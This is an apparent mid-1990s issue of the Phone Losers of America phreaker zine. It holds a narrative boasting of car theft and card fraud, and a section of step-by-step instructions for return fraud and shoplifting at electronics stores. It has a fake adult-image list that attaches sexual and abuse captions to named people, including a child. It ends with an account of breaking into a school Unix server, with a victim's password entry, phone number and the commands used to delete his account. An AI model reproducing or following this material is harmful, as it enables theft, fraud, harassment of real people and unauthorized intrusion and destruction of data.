I went up to the counter and told the nurse there to go grab me a Pepsi from the break room and threw her a dollar. "Get one for yourself, too, babe." When she left, I grabbed her car keys off the counter, put her chair back for her (hey, I was feeling nice) and headed for the parking lot. Her car wasn't hard to find, being the only Toyota in the lot. I hopped in and took off.

Half a tank of gas, stick shift, working cassette player and tucked up in the sun visor was a Diamond Shamrock gas card. A nice plus, but wouldn't do me a whole lot of good once I got into Kansas. At least she had semi-good taste in music. I put in a Ramones tape and began to drive...

Driving all over town, I couldn't find them. I circled around the hotel parking lot a few times but no sign of them. I went to Diamond Shamrock, filled up on gas, chips, soda, magazines, candy, maps, cigarettes and a road atlas.

Going back to the car I remembered that I quit smoking a few years ago but what the hell, it's all free. I gave one pack to a bum asking for money. I contemplated stopping by my house but decided against it. Nothing I really needed there, besides, I had my backpack which included my cell fone, red box, electronic organizer, spiral notebook, half a bag of Cheetos and ummm...let's see...My work uniform shirt. I threw this out the window as I drove towards Interstate 37.

My concern wasn't really finding them along the way. That would be very unlikely to begin with. Actually, I'm not too sure what my main concern was. I guess fighting off the boredom and not really wanting to go to work that night. So I drove north, towards Oklahoma City, where I needed to stop and make a few phone calls. The drive was a little longer than I anticipated and thirteen hours later I arrived at a rest stop in Minco, a town outside of Oklahoma City. I put the seat back and closed my eyes for a good five hours of sleep. I didn't even see the red Camero pull in next to me.

The next morning I awoke to some little kids running around outside and yelling a little too loud for 7:30 a.m. I staggered over to the pay phone and called Dale's house. As I hoped for, nobody was home. It took me about seven tries but I finally got into their answering machine messages. A few real estate messages and then one from Dale.

"Hi, Dad! It's me..Uhh...it's 6:13 a.m. and we're in Tulsa, eating breakfast.  Just wanted to call and let you know that things are going okay. Haven't been arrested or anything, ha ha! Did you hear anything more from the police? Well, we should be there in a couple of days. Love you. Oh yeah, something's wrong with your credit card. For some reason it was canceled and the clerk at the Exxon station cut it in half so we're using cash 'til we get there."

I was starting to get a little pissed that they were so far ahead of me but that was cut short when the next message started playing, "Yes, I'm calling for a Mr. Frank Tullar. This is Lt. Davis from the Corpus Christi police department and I'm returning the call regarding your son. We've never had a Dale Tullar in custody and there's not even an officer Edward Garcia working in this city. I don't know if this is a prank or what, but I think you called the wrong city or something..."

I ran in the bathroom to brush my teeth, shave and then headed north again, hoping to catch up to them. One thing that damn nurse didn't have was a radar detector. I stopped in Oklahoma City to check out the infamous federal building wreckage, took a few pictures and got on Interstate 44, going towards Tulsa. On the long drive I began to think. That's when I realized that I forgot to tell Colleen Card I wouldn't be home last night. Whoops. I got on the cell fone and did some major explaining to her. Got hung up on a few times and finally convinced her to pick up some airline tickets and fly up to Wichita, Kansas to meet me. I set up the airline tickets through a local travel agency in Corpus. Too bad Mr. Tullar's card had been mysteriously canceled or I could have used that to fly her up there. Instead I used a card belonging to some girl named Lisa, the girl who worked at the travel agency. That would be a tough one for her to explain.

About five hours later I was in the airport parking lot, waiting for Colleen to show up. In all, I only lost an hour on them AND I was brought a change of clothes and my lucky tooth brush.

"Nice car, where'd it come from?"

"Spohn Hospital. Come on, we got to catch up with 'em."

We made a pit stop in Lawrence, Kansas so I could plug into a certain sysop's telco box and leave the phone off the hook on some 900 numbers. Then we continued into Missouri and through Illinois, stopping only once in a small town in Illinois called Altamont to have some breakfast at Gilbert's Restaurant and to discover that most of the town's population had no teeth. Most of the ride was uneventful, boring stretches of Interstate look the same in just about any state you go through. It reminded me of why I always take the backroads and normal highways when traveling.

We tried to get into the Tullar's answering machine after we got lost and ended up in Logansport, Indiana, but Mr. Tullar kept picking up the phone. Finally, I asked him, "Where's your son right now?"

"Well, he's on vacation and should be home tomorrow."

"No, I mean, what state is he in right now?"

"Oh! Well, he called a few hours ago from Effingham, Illinois. Who's this?"

"I'm just the guy who's stalking him. Don't worry about me, " I replied and hung up. I looked on the map and found he was pretty far away so we hung around Logansport for a few hours, checked out the museums, their "beach", and attended the Iron Horse Festival. Of all the places to visit we get one that has a yearly railroad festival. That being done, we continued towards Michigan, hoping to see Dale on the road somewhere.

Finally we made our way out of the backwoods and into Michigan, a state I had yet to visit. Unfortunately, a state trooper outside the city limits of Coldwater, Michigan noticed that Colleen was driving about 30 miles over the speed limit and started chasing us. It was a pretty intense car chase around the city and finally ended with us and the police car crashing into the front doors of the Tibbits Opera House and into the lobby. Air bags, you gotta love 'em!

I assume the officer had been rendered unconscience becuase we weren't chased when we ran from the building. We ran across the field, through some back yards and ended up in the middle of a huge crowd of people. We later found out this was the Bronson Polish Fevtival or something like that. We stopped at a concession to buy a few overpriced Cokes and to consider our options. A block away a man parked his car next to a store and went inside with several large boxes. I picked up my backpack and we ran to the car, got in and drove off.  Small towns, you gotta love 'em!

Aside from an almost empty tank of gas, we were doing not so bad. Feeling paranoid, we waited until we got into Tekonsha to get some gas and continued to drive up Interstate 69 towards Lansing. The rest of the drive north was more or less boring. The new car was a little battered, yet fast enough. There was a nice radio but no cassette player meaning we had to try and toon in the crappy hick stations along the way. The best one was some little independent station around Ithaca where an old woman was selling her pot holders on the radio. "Three pot holders for the price of one?? Am I crazy??" She was quite hilarious and I may write the radio station for a copy of that commercial to include in a PLA .WAV someday.

We finally reached Mackinaw City, Michigan's lower peninsula and the end of our Interstate driving. It took about ten minutes to make it across the Mackinac Bridge, probably the longest bridge I ever went across. We arrived in St. Ignace and started driving west on Highway 2, only a few hours from Manistique, home of the guy who made me lose my Big Gulp. I wondered if he was there yet.

Brevort, Engadine, Blaney Park and finally Mantistique. We had made a stop at a Wal-Mart in Engadine so I could pick up some school supplies and made a few fake I.D.'s on the way there, one in Dale's name and one in his dad's name.

Manistique seemed to be mostly an upper-class type of town located on the edge of Lake Michigan with Indian Lake on the other side and some kind of a really odd bridge somewhere in the middle. Dale's house wasn't hard to find and his Camero was in the driveway.

Wait a minute, this is the introduction, isn't it? Why the hell am I rambling on about my personal problems? Here's PLA Issue #30. Not a whole lot in it, but enjoy it before the feds come over a confiscate it along with your computer. Ah, I've got just a few more things to say...After all these months we finally decided to call back Dino Allsman just to say "hi" and he didn't really appriciate the call. Zak tried to tell him that we were sorry and he just cussed a lot in our general direction. I think the 2 minute string of swearing from him would have made an excellent recording but stupidly, I wasn't taping any of it. (See PLA014 for the scoop on Dino.)

I also hope it's alright with Dark Tangent if I advertise a partyline he set up for phreaks. The number is 801-855-3326. For those few of you that call Hotel California, you'll notice that this one is similar but it's more phreak related. Enjoy!

Cainesville Gets Fones Installed! - RBCP

This is a good one that Colleen Card pulled up on the library computer. It's a local news broadcast transcript on 10/23/94 about a little town in Utah that's never had fones installed until a few months ago. So here it is...

DANIEL ZWERDLING, Host: We are now calling a number in Cainesville, Utah, and Weekend All Things Considered feels very, very honored to - four, five, six - we feel honored to be able to make history in this way. This town has never had telephones before, ever, and they got 17 of them installed just three weeks ago. [sound of phone ringing] So far, so good.

FORREST SIMS, Cainesville Resident: Hello?

ZWERDLING: Forrest Sims?

MR. SIMS: Yes?

ZWERDLING: Hi. I was just about to tell our listeners that this is one of the first phone calls that you guys have had in this town.

MR. SIMS: That's pretty close, yes.

ZWERDLING: Why did it take so long for you to get telephones? I mean, this town has never, ever had phones, right?

MR. SIMS: Well, they did many, many years ago, but it was just a single, little old hand crank, and then, when most of the people left, they just kind of rolled up the wire behind them as they left.

ZWERDLING: Now, Forrest Sims, you own an RV camper park, right, called Sleepy Hollow?

MR. SIMS: Yes. It's a little RV campground.

ZWERDLING: And, what I'm wondering is, for all these years that you've lived in this town, how did not having telephones make life better or worse for you?

MR. SIMS: Well, we think it hurt the business a little bit. We would just kind of get together if we needed to make a bunch of phone calls. We would just wait 'til we got a fairly decent list going and then just drive into town and make the phone calls.

ZWERDLING: So how far did you have to drive to make a phone call?

MR. SIMS: It would be 22 miles one way.

ZWERDLING: And, Forrest Sims, I should mention before we go on, we have another one of the 35 residents of Cainesville on the line with us now. Ethel Jackson, are you there?

ETHEL JACKSON, Cainsville Resident: Yes, I am.

ZWERDLING: Hi. Well, congratulations.

MS. JACKSON: Thank you.

ZWERDLING: I'm wondering, Ethel Jackson, and also Forrest Sims. I'm trying to picture living in a town where I can't call any of the neighbors by telephone. So that means if I want to talk to somebody, I have to either walk or drive to their house, right?

MS. JACKSON: Right.

MR. SIMS: Well, as far as I'm concerned, the way it's been for us, you know, that's kind of nice, because then you get to see your neighbor once in a while and sit and visit.

MS. JACKSON: That's what I think. Now we don't get to see them.

MR. SIMS: What was that Ethel? Go ahead.

MS. JACKSON: Now we don't get to see our neighbors.

MR. SIMS: That's about it. You know, you know of- in a way, you stop going down and visiting, and so, that way, maybe it's hurt a little bit. Yeah.

ZWERDLING: Now, I would also guess that sometimes people would- you know, you'd show up unannounced, obviously, because you couldn't announce it with a phone call, and would people say, "Hey, why don't you stop, you know, come on in and have lunch or dinner?"

MS. JACKSON: That's what it is. That's what it's all about.

MR. SIMS: Yeah. That's the way it always happens.

ZWERDLING: But I take it people are going to have lunch and dinner with each other less often?

MS. JACKSON: Well-

MR. SIMS: I don't think so. Do you, Ethel?

MS. JACKSON: No, I don't. Maybe it might be just your local people around here but we still have people that drop in and-

ZWERDLING: Hmmmm. Well, Ethel Jackson, how many phone calls have you received today?

MS. JACKSON: Today?

ZWERDLING: Mmm-hmm.

MS. JACKSON: Oh, I've received one from Forrest and three from the lady that contacted me, and then-

ZWERDLING: Wait. This is all calls concerning this interview? Those don't count. Forget those four phone calls. [Didn't she say three??]

MS. JACKSON: Oh. Well, I have my little grandchildren that call every day to see how we are.

ZWERDLING: Oh, that's nice. And, Forrest Sims, what about you? Are you spending a lot of time on the phone now?

MR. SIMS: Yeah, more so that if I had no phone, of course, naturally. But, so far, most of it has been, you know, just to conduct business, and of course, talk to the family, which is out of state or, you know, up in Salt Lake.

ZWERDLING: All riht. Well, listen, Forrest Sims, Ethel Jackson, thanks very much for speaking with us today. I understand that this is the first- the very first conference call you've ever had in your town?

MR. SIMS: Yes. That's for sure. I can say that.

ZWERDLING: Well, thanks for letting us be part of it.

MR. SIMS: Oh, you're quite welcome.

ZWERDLING: And, Ethel Jackson, if you don't get any- if you don't get more than one call a day, you can always call us here at NPR.

MR. JACKSON: Oh, or you can call me. [laughter]

ZWERDLING: All right. I'll do that.

MS. JACKSON: Okay. Thank you. Bye.

ZWERDLING: Bye-Bye.

MR. SIMS: Bye-bye, now.

And that's it. After I read the transcript a few times I went crazy with the 801 Utah information trying to locate Mr. Sims and Ms. Jackson so I could bother them with silly questions and maybe order them a few calling cards but information couldn't find anything listed. No police station, no chamber of commerce, no fire department, nothing. The information operator was even a little weirded out about this and I told her they just got phones installed in their town a few months ago and she said, "I doubt that."

If anyone can get some information on this town, I'd really appriciate it. There's no way for me to even order tourist information because there's no Chamber of Commerce to call. So if anyone gets any info on the town, please U.S. mail it to me and you'll receive a FREE subscription to the PLA mag! You can't beat that, can you?

How To Get PHREE Merchandise From Your Local Electronics Store - )r. )re:

Are you tired of these assholes ripping you off?  Are you tired of buying electronics for 25 times what it takes Intel, Radio Shack, GE, etc, to make their products?  That's where you come in! There is a simple way to get electronics for phree these days and it's called bullshiting.

Bullshiting can be a lot of phun. In order for it to work you have to be and outgoing social person whose not afraid to tell people what the hell you think about them. Bullshiting is very simple. There are many ways to accomplish bullshiting.  The first is to phind a local electronics store that has very poor security.  I mean they have absolute shit for security. Stores who keep their merchandise behind the counter (e.g. Circuit City & Best Products) are the absolute worst places to hit.  Pick easy going stores like Radio Shack, Computer City, and Best Buy.

Their are two ways of bullshiting that I personally know of. The first way is going into the selected store, pick up whatever the product is that you need, rip the plastic off, walk to the return desk and bullshit them. What I mean by "bullshit" is I want you to give them your very best lie. I  want you to have this lie memorized back and forth OK?  What you are going to tell them is that you bought this product a couple of weeks ago and that it doesn't work now.  You just want your money back or an exchange.  You lost the receipt and don't know what to do.

Possible outcomes:

1.  They exchange the product for a new one

2.  They give you a CASH refund.

3.  They tell you to get the hell out of their store (in this case run out with the merchandise!!)

4.  They arrest you?  In this case you are going to need to bullshit a lot to get out of this one!

The second way of bullshiting is a little less risky.  This idea was taken from P.L.A. text file #12.  The only difference is that you won't be returning only modems, you will be returning anything you want.  In esence, what you do is you buy a product, lets say a 128bit video card with 4 megs of onboard video ram.

Lets also say you bought this video card for $300.  What you are fixing to do is, take your old 256k MCGA video card, put it in the 128bit video card box and return it to the store in which you bought it from. Not only are you getting you money back, but you are getting a PHREE video card worth $300.

Possible outcomes:

1.  They ask you, "Hey what are you trying to pull here?"

Your response, "What do you mean?"

"Well sir, it looks to me like you are trying to cheat us out here!"  "What, what the fuck, hey listen bitch! I am just trying to get my motherfucking money back.  Your goddamned video card isn't worth shit. The guy who bought it before me must have done it."  "Uhhh ok sir here's your money, sorry this happened."

2.  "Here you go sir, just fill these papers out and I'll give you a refund."

3.  "Well sorry sir,  We can exchange it for you, or give you in-store credit." (In this case you can get even more shit and return it later!)

I personally have done the first and second one many times. Hell, half of my computer I got for PHREE!! :)  This includes a Super VGA card, a 14.4k Baud modem (I didn't like it so I sold it for $50 and phree exchanged a USR 28.8k modem), a mouse and a shitload of software.  See bullshiting can be fun and profitable, ya just have to get good at it and keep a straight face.

P.L.A.n Carefully!!!

Adult GIFs on Roy's Place - RedBoxChiliPepper:

Roy's Place, one of the two main PLA support boards has an adult GIF section that was looking rather bare so me & Zak (Big Roy) decided to spice up the GIF descriptions there a bit. So over the next few months we added descriptions to the adult GIFs and people are taking them seriously too, thinking that our bogus descriptions are for real. So here's a listing of the current adult GIFs on Roy's Place (618-797-2339) as of 5/11/95. Hopefully these will be somewhat entertaining to you... (By the way, I edited out the blank ones so the numbers on the left are a little screwy.)

Real Cool Disgusting Pics - #2, 248 files.

---------------------------------------

1º!LEZ-1  .GIFº 161kºA picture of Dappy from the Clip Joint.

2º!LEZ-2  .GIFº  83kºDappy banging her dog, Cumhead.

5º#10BOOBS.GIFº 173kºA Plumpers lady with 10 boobs coming out her ass.

6º150ZZZ#4.GIFº 141kºDeter eating poo poo

7º16INCH-6.GIFº 188kºPicture of Alex Carbon

8º17TEEN  .GIFº  87kºHurry up and go away

9º1CORN   .GIFº 146kºA woman playing with her food.

10º2-MUCH  .GIFº 117kºAmeritech Corporate Security Group Photo

11º3DEB020 .GIFº  45kºI'll bring my bookbag and some orange juice!

12º4-PLAY-G.GIFº 127kºRoy & his gerbil having foreplay

13º4FINGERS.GIFº  40kºA girl with four fingers up her nose

14º4FIST2  .GIFº 107kºfour fists up her nose

15º55DD    .GIFº 131kºA Troy, IL police officer wacking off in his car.

16ºADRIENE .GIFº 120kºMy ex-girlfriend, Adriene

17ºAFTER   .GIFº  53kºRoy after he molested 28 gerbils

18ºALYSSA  .GIFº 106kºJim Bayless laying spread eagle by the Ameritech building

19ºAMY05   .GIFº 192kºSome girl in the street that we mollested.

14ºANNIE3  .GIFº  45kºJerry Falwell getting some.

16ºARIEL01_.GIFº 196kºJaysen Phillips shiting on his car

17ºARIEL02_.GIFº 100kºDeter

18ºARIEL03_.GIFº 114kºI'm alex carbon and i ain't got any calling card

19ºARIEL04_.GIFº 100kºhuman feces and urine

20ºARIEL05_.GIFº 140kºt.p. for my bungholeo

1ºARIEL06_.GIFº 131kºa gallon of milk

2ºARIEL07_.GIFº 127kºAn exploding toilet.

3ºARIEL08_.GIFº 135kºmy job application for quiktrip

4ºARIEL_B .GIFº  91kºDeter

6ºASIA_P00.GIFº 133kºGod molested my children.

9ºAUSTIN  .GIFº 139kºThe Bell orgy at HoHoCon in Austin, Texas

11ºB-BUSTY2.GIFº 130kºDeter

12ºBAMY-009.GIFº  73kºA chick sucking on her own big toes

14ºBARBIE  .GIFº 195kºMy little 3-year old sister, Barbie.

15ºBASINGER.GIFº  87kºKim Basinger eating a peanut butter & jelly sandwich

16ºBATH    .GIFº  33kºRobert E Allen (pres. of AT&T) taking a bubble bath.

17ºBATTERUP.GIFº  32kºRyan Grant hitting his 7-eleven manager with a bat.

18ºBELL    .GIFº 116kºVarious Bell employees naked & playing with themselves

19ºBELLE   .GIFº  58kºDeter

20ºBELLE01 .GIFº 121kºa mustard cutting factory

1ºBELLE02 .GIFº 137kºshit

2ºBELLE03 .GIFº 130kºThe PLA terrorizing a lineman

3ºBELLE04 .GIFº 157kºthe PLA being frightening

4ºBELLE05 .GIFº 126kºThe PLA taking over the 618 area code

5ºBELLE06 .GIFº 147kºThe PLA looting a Best Buy

6ºBELLE_A .GIFº  87kºBrent Deterding

7ºBEV     .GIFº 125kºThe DOC from STNG!

8ºBIGMAM10.GIFº 147kºJim Bakker screwing Tammy's pet gerbil.

9ºBIGNIPS .GIFº 102kºDanny Colwell showing off his big nipples

10ºBLAIR1  .GIFº 151kºPicture of Francis G. Blair elementary school

11ºBLAIRTIT.GIFº  71kºAT&T family picnic being bombed by the PLA

12ºBLONDE29.GIFº  30kºDeter in drag

13ºBREETWNS.GIFº 131kºThe Jerky Boys having sex together.

14ºBRIANNA4.GIFº 287kºBundy girl

15ºBRUN-11 .GIFº 229kºDeter beating off to a copy of Plumpers

16ºBUNNY   .GIFº  81kºDeter raping a cute bunny

17ºBUSTY-1 .GIFº  69kºDeter touching his huge boobies

18ºBUSTY9  .GIFº  71kºTodd Ahlers kicking his dog in the Boobies

19ºBUSTY_31.GIFº 243kºSylvia thompson with lung cancer

20ºBUSTY_33.GIFº 202kºA dancing bowl of snot

1ºBUSTY_34.GIFº 145kº*burp*

2ºBUSTY_35.GIFº 137kºCookies are good

3ºBUTTHOLE.GIFº 183kºApple pie on toast

4ºCANDY03 .GIFº 101kºRoy waving his private parts around a little girl.

5ºCANDY04 .GIFº 110kºRoy offering candy to a gerbil if he'll get in his car

6ºCASS3   .GIFº 162kºJason Crews nude, taping himself to the ceiling

7ºCC-NOTOP.GIFº 175kºA naked Cactus

29ºCHRISTY .GIFº  51kºChristy Brinkley vaccuming the carpet.

10ºCOEDS2  .GIFº  24kºA picture of RedBoxChiliPepper with 2 coeds

11ºCOEDS3  .GIFº  30kºA picture of RedBoxChiliPepper with 3 coeds

12ºCOEDS4  .GIFº  29kºA picture of RedBoxChiliPepper with 4 coeds

13ºCOEDS5  .GIFº  31kºA picture of RedBoxChiliPepper with 5 coeds

14ºCOEDS6  .GIFº  33kºA picture of RedBoxChiliPepper with 6 coeds & a gerbil

15ºCOURTNEY.GIFº 139kºCourtney Love shooting Kirk in the head.

16ºDENISE14.GIFº  57kºA girl named Denise watching a Gerbil

17ºDENISE16.GIFº  42kºDenise running amok with a stick

18ºDEY-SUSA.GIFº  58kºDr. Seuss masturbating.

20ºDONA    .GIFº  31kºDonna scanning cordless Phones

2ºEJ1     .GIFº   7kºDanny Colwell shoving a large coke up his ass

3ºFAMILY-2.GIFº 131kºDeters parents screwing him

7ºFLADY001.GIFº  67kºMrs. Hagar flying down the stairs, late for work!

8ºFLADY002.GIFº  69kºDeter doing filthy things with a pack of condoms

11ºGASPUMP .GIFº 162kºDeter pumping gas in the ass

12ºGESS101E.GIFº  71kºA gerbil working on the Telco ESS

13ºGFB051  .GIFº  78kºTodd Ahlers molesting a kittycat

20ºGL#40PSL.GIFº 117kºRoy's Place, Telly speaking

1ºGL07-PSL.GIFº 113kºSteve, manager of Am\Pm, next to the slurpee machine

16ºGUESS9  .GIFº 206kºAll asian gifs for pizza slut

18ºHOTDAY  .GIFº 232kºthe PLA being bad in a Radio Shack

19ºHOTTEST2.GIFº 114kºA picture of the sun

20ºHOTTEST4.GIFº 135kºSome Naked picture

3ºJENNYBBS.GIFº  87kºMy hot baby jenny

15ºKATYA   .GIFº  90kºKatya sitting on the couch eating Pringles chips

16ºKATYA4  .GIFº  67kºErik B. touching hisself where it doesn't feel right

12ºLOTYA   .GIFº  24kºTodd Ahlers stimulating himself with a phone cord.

10ºMARKIE  .GIFº  42kºMarkie Mark & Homey G Roy getting it on

11ºMATTIE  .GIFº  24kºMattie vaccuming the living room.

12ºMNRVASEX.GIFº  61kºUng

14ºMOORE02 .GIFº  79kºMary Tyler Moore eating broccli.

15ºMPOST   .GIFº  50kºJason Crews standing on a post, eating denture table

19ºORIENT3 .GIFº  37kºTodd Ahlers smearing himself with Egg Foo Young

20ºORIENT4 .GIFº  30kºLee Willie, manager of granite city radio shack

1ºORIENT7 .GIFº  23kºUng

2ºPASSION1.GIFº  55kºBob passionately touching his farm animals.

3ºPASSION2.GIFº  58kºBob's farm animals passionately touching each other.

4ºPASSION3.GIFº  55kºHe kicked my fucking ass al over the store

10ºPAULINAN.GIFº  79kºSol rosenberg and Frank Rizzo at the AT&T building

11ºPEARLS  .GIFº  83kºA naked pic of my dog.

12ºPIGTAIL7.GIFº 126kºA naked pigtail

15ºPUSSY   .GIFº  39kºMy kitty cat shivering after being out in the rain.

18ºSLAMMIN .GIFº  99kºWoohoo! I'm naked

19ºSN1     .GIFº 165kºThe Bolivian Navy on Manuvers

20ºSOAPY   .GIFº  26kºA picture of an Oregon Relay Operator taking a bath

2ºSUZIEQ  .GIFº  50kºMartini

12ºTEENS3  .GIFº 137kºChris & Ryan taking a bubble bath together

13ºTEENS4  .GIFº 124kºMY NAME IS ROY

14ºTONYA3  .GIFº 135kºChris & Ryan swinging fruity together

15ºTOWERS50.GIFº  79kºThe world trade center

16ºTRACY   .GIFº  56kºDeter and Danny Colwell doing bad things with popsic

17ºUNDIES  .GIFº  64kºMy underwear on the airport carosel

18ºVANNA-W .GIFº  38kºVanna White doing her taxes.

19ºVLR5    .GIFº  59kºDeter stroking a stereo

20ºVPBATH  .GIFº  89kºJamie and her remote control socks

1ºWARNRCHY.GIFº  61kºYeah

3ºWET     .GIFº  73kºA picture of a garden hose.

4ºWHOME1  .GIFº 118kºThe PLA blowing up the Ameritech building

5ºWORK    .GIFº  29kºArtie, the strongest man in the world

6ºWORKOUT .GIFº  96kºRedBoxChiliPepper raping an MCI operator

7ºXALADDIN.GIFº 195kºUh huh

8ºXMAS2   .GIFº  30kºRBCP's Christmas photo '94.

9ºZENA1   .GIFº 151kºThe PLA kidnapping Jim Bayless

4ºDENISE14.GIFº  57kºA girl named Denise watching a Gerbil

5ºDENISE16.GIFº  42kºDenise running amok with a stick

6ºDEY-SUSA.GIFº  58kºChris Tomkinson watching buffy the vampire slayer

7ºDONA    .GIFº  31kºDonna scanning cordless Phones

8ºEJ1     .GIFº   7kºKith kanan dancing the jig

9ºFLADY001.GIFº  67kºNancy Reagan giving chris the ride of his life

10ºFLADY002.GIFº  69kºRonald Reagan giving chris the ride of his life

11ºGESS101E.GIFº  71kºA gerbil working on the Telco ESS

12ºGFB051  .GIFº  78kºTodd Ahlers molesting a kittycat

13ºGL#40PSL.GIFº 117kºRoy's Place, Telly speaking

15ºHOTTEST2.GIFº 114kºA picture of the sun

18ºKATYA   .GIFº  90kºKatya sitting on the couch eating Pringles chips

20ºKRAFT75 .GIFº 184kºA GIF of a plate of Kraft American Cheese

1ºLORETTA .GIFº 168kºHave you seen my dentures?

5ºMONKEY  .GIFº  46kºA monkey & a gerbil having sex

6ºMOORE02 .GIFº  79kºMary Tyler Moore eating broccli.

7ºMPOST   .GIFº  50kºJason Crews standing on a post, eating denture tablets

8ºORIENT3 .GIFº  37kºTodd Ahlers smearing himself with Egg Foo Young

9ºORIENT4 .GIFº  30kºPork fried Rice

10ºORIENT7 .GIFº  23kºsoy sauce

11ºPASSION1.GIFº  55kºChris TOmkinson passionately touching his armpit

12ºPASSION2.GIFº  58kºChris Tomkinson passionately touching his mom.

13ºPASSION3.GIFº  55kºChris Tomkinson losing his lunch in the toilet

14ºPAULINAN.GIFº  79kºMr. Pauli Nan drowning in oatmeal

15ºPEARLS  .GIFº  83kºA naked pic of my dog.

16ºPUSSY   .GIFº  39kºA picture of Chris Tomkinson's shaved pussy

17ºSOAPY   .GIFº  26kºA picture of an Oregon Relay Operator taking a bath

18ºSUZIEQ  .GIFº  50kºRBCP's mom tied up with a lamp cord

19ºTRACY   .GIFº  56kºTracy hacking on the internet

20ºVANNA-W .GIFº  38kºVanna White doing her taxes.

1ºVLR5    .GIFº  59kºRyan Grant stroking a stereo

2ºVPBATH  .GIFº  89kºJamie had her remote control socks

3ºWET     .GIFº  73kºA picture of a garden hose.

4ºWHOME1  .GIFº 118kºMr. Beef Head

5ºWORK    .GIFº  29kºArtie, the strongest man in the world

6ºWORKOUT .GIFº  96kºRedBoxChiliPepper raping an MCI operator

7ºXMAS2   .GIFº  30kºRBCP's Christmas photo '94.

8ºZENA1   .GIFº 151kºChris Tomkinson's dad

And that's all. Most of it isn't understandable because they deal with private jokes so I'll try to enlighten those who really care. Jim Bayless is an Ameritech employee, Chris Tomkinson is an back stabbing kind of old friend, Danny Colwell is a thieving little shit, Ryan Grant is Chris Tomkinson's roommate and possible lover in college, Roy is Roy, Todd Ahlers is a person who has the misfortune to own a telephone and Jason Crews is an uptight little nobody who always forgets to bring the milk in, Brent Deterding (Deter) is a little lame-o kid who everyone likes to laugh at alot and gets beat up in school all the time and tries to use calling cards straight from his home.

---Phone Losers Of America Headline News---

"Two Phone Company Employees Charged With Assault" - associated press

OKLAHOMA CITY, OK - Two employees of Southwestern Bell are facing up to three years in prison and fines of up to $5000 each for assaulting a local citizen. Roy Coldwell, 29 and Darin McCall, 35, both telephone linemen for Southwestern Bell both claim that a local resident had opened up one of their trucks while they were sitting inside on a lunch break, grabbed a Bell hat and ran.

Coldwell, once a U.S. Olympic marathon winner soon caught up to the resident and forced him to the ground, knocking the Bell hat out of his hands and began to beat the resident to a bloody pulp with his lineman's handset. McCall then arrived on the scene, kicking the victim with his Bell issued steel toed boots. Luckily, the event occurred in front of Rhonda's Donut Shop and Officer O'Mally was able to stop the employees.

Both Coldwell and McCall are being held in the Oklahoma county jail on $25,000 bond. The victim, who's name is not yet being released, is in stable condition and recovering at the OKCITY hospital. It is rumored that he is a member of Poi.   <FakE NeWs>

Colleen Card found a pretty interesting article in the local paper. It will probably make you think twice about trying certain things described in PLA003.

VENTURA, CA - A man furious over a failed land deal took it out on the property owner by having 90,000 magazines sent to her address.

"I got every known magazine on the face of the Earth," lawyer Theresa McConville said after Reynaldo Fong was sentenced Tuesday. Fong got a year in jail for forging her name on subscription forms.

"He could have won a Nobel prize if he would have put as much energy into his job as he did with me, " said McConville of Camarillo, who got the unsolicited magazines over the past 13 years.

Fong, 45, of Santa Paula is an anesthesiologist from the Philippines who has been in the United States illegally since his visa expired in 1980.

According to a probation report, Fong said he had a vendetta against McConville because she rejected his bid for land she was selling.

RALIEGH, NC - Kevin Mitnick, recently captured for illegal computer hacking, has possibly added a few more years to his possible sentence by pulling yet another stunt from his prison cell. The vetran computer hacker was denied all access to a public prison phone for fear that he would cause even more trouble but what authorities apparently forgot to do a full body cavity search on Mitnick.

Two weeks after being sent to prison, Mitnick remember hiding a cellular phone in his butt cheeks. After a little digging around he was able to locate the phone and made several calls to various long distance companies, shutting down phone service for much of the Eastern United States and ordering flowers for Lenny DeCicco, his old partner in crime. Mitnick was unavailble for comment.  <faKe NewS>

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET - directory pub\deadkat\incoming\PLA (Thanks to Disorder & Deadkat!)

Issue #031

Acidflux's Story Time Hour

Completed On May 16, 1995

Once upon a time (around March I think) a local sysop challenged me to crack his friend's password on the local high school (Monte Vista, monte.mvhs.srvusd.k12.ca.us, running Ultrix v4.1). So I get in, get root (sysop access), and look at the password file. Unix passwords are scrambled with a one-way encryption method. Say your password is "fuckchop".

It's stored in the password file as "hdVcOLOsIcvLE". When you login to a unix system instead of decrypting the password it encrypts what you type in and matches it with the stored encrypted password. So to crack passwords you need a program such as CrackerJack that will go through a long list of words (a password dictionary). I couldn't crack the guy's password so I deleted his account and told the local sysop there never was one (situation averted). So I make a few accounts, Bluesman gets on the system and we start looking through people's mail (this is where that "Chia Pet"  letter from Delirium Issue #4 came from) when suddenly a root account (chatter) starts paging me. Here's a log of the ntalk conversation with "Anirvan Chatterjee" (It's been formatted for the sake of reading):

[Connection established]

Me: May I help you?

An: chan? Elizabeth?

Me: Yes?

Me: Have we met?

An: This is Anirvan, I believe...

Me: Anirvan! How are you?

An: Oh fine...do you see me listed as "root"?

Me: Yes, why?

An: oh...I was doing some routine syadmin stuff, when I saw you logged in...

Me: 10:00pm on a friday night eh?

An: what else is there to do on a friday night?!

Me: Yeah, I guess you're right.

An: well, i have friends online i talk to, and then tere's other fun stuff to do...

Me: Yeah, I'm new to this, you know how that is.

An: of course...

An: where are you coming in from?

An: an online service? a commercial carrier?

An: ccnet's probab;ly t

Me: Yeah, I have an account on there, why?

An: where? I mean, what's your email address?

An: there...

Me: Scall@ccnet.com

An: coolness...

An: Geez....hate how those lines keep overlapping (type control-L t

Me: Yeah... say, doesn't it bother you in the slightest I have root?

An: say what?

An: you have root?

An: please explain..

Me: Well, I'm going to format your winchesters.

Me: Just business, nothing personal.

An: errr...who is this?

Me: Hehe, I'm just kidding! Internet humor.

An: errr, yes.

An: Charlie?

Me: What? This is Liz.

An: I'm sure.

Me: y0ur c0mput3r h4s b33n b0rd3d by th 3l33t3st 0f th3 3l33t!!@#$!!

An: that's so nice to know.

Me: r3sist3nc3 iz futil3!!

An: yay.

An: I'm so impressed.

Me: Wanna see a neat trick?

An: not really, so Charlie,

[Connection closing. Exiting]

# removeuser chatter

Enter login name for user to be removed:  chatter

This is what the entry in /etc/passwd looks like:

chatter:.bplovnCwERio:337:15:Anirvan Chatterjee,CPR2,(510)837-7507,

:/u/students/chatter:/bin/csh

Is this the entry you wish to delete?  y

Working ...

User chatter removed.

Do you want to remove chatter's home directory,

all subdirectories and files (y/n)?  y

